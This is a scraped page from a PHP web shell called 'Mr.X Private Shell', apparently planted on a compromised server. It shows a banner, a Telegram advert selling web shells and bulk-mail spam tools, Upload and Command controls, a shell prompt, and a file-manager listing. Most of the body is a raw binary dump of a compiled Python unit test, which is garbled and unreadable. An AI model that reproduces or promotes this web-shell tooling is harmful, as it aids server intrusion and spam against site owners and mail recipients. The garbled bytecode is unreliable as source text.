__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
o

K��^W�@sLddlmZddlmZddlmZddlmZmZm	Z	Gdd�de�Z
dS)�)�defaultdict)�TestCase)�Text)�_compute_widths_for_size�ColSpec�TableRowc@sLeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dS)�TestComputeWidthsForSizecCs\g}|D]'}g}|D]}t|t�sd}n|\}}|�|td|�f�q
|�t|��q|S)N��x)�
isinstance�tuple�appendrr)�self�sizes�rows�row�cells�size�span�r�9/usr/share/subiquity/subiquitycore/ui/tests/test_table.py�rowsForContentSizess
z,TestComputeWidthsForSize.rowsForContentSizescCsH|�dgg�}td|tti�d�\}}}|�ddiddf|||f�dS)N�
�drF�rrrr�assertEqual�r�trows�widths�total�has_unpackedrrr�test_simple*s
��z$TestComputeWidthsForSize.test_simplecC�N|�ddgg�}td|tti�d�\}}}|�dddd�ddf|||f�dS)Nrrr�rr	��Frrrrr�
test_two_cols3�
��z&TestComputeWidthsForSize.test_two_colscCsZ|�ddgg�}ttdtdd�i�}td||d�\}}}|�ddd�ddf|||f�dS)NrrT��
can_shrink�)r	r$F�rrrrr�rr�colspecsrrr rrr�test_two_cols_confined<s�
��z/TestComputeWidthsForSize.test_two_cols_confinedcCr")Nrrr$r#�Frrrrr�test_two_cols_spacingJr'z.TestComputeWidthsForSize.test_two_cols_spacingcCs`|�gd�g�}ttdtdd�i�}td||d�\}}}|�dddddd�d	d
f|||f�dS)N)rrrr�()�rpadrr$r�rr	r$���HFr+r,rrr�test_three_cols_spacing_rpadSs�
��z5TestComputeWidthsForSize.test_three_cols_spacing_rpadcCsX|�ddgddgg�}td|tti�d�\}}}|�dddddd�ddf|||f�dS)	N�r$r%r�r$r*rrr3�Frrrrr�test_no_inherent_width_s
�
��z/TestComputeWidthsForSize.test_no_inherent_widthcCsd|�ddgddgg�}ttdtdd�i�}td||d�\}}}|�ddddd	�dd
f|||f�dS)Nr8rr9r	Tr(�r)rr	r4r5Fr+r,rrr�test_no_inherent_width_confinedws
��
��z8TestComputeWidthsForSize.test_no_inherent_width_confinedN)�__name__�
__module__�__qualname__rr!r&r.r0r7r;r=rrrrrs
			rN)�collectionsr�unittestr�urwidr�subiquitycore.ui.tablerrrrrrrr�<module>s


Filemanager

Name Type Size Permission Actions
__init__.cpython-310.pyc File 148 B 0644
test_table.cpython-310.pyc File 2.98 KB 0644
Filemanager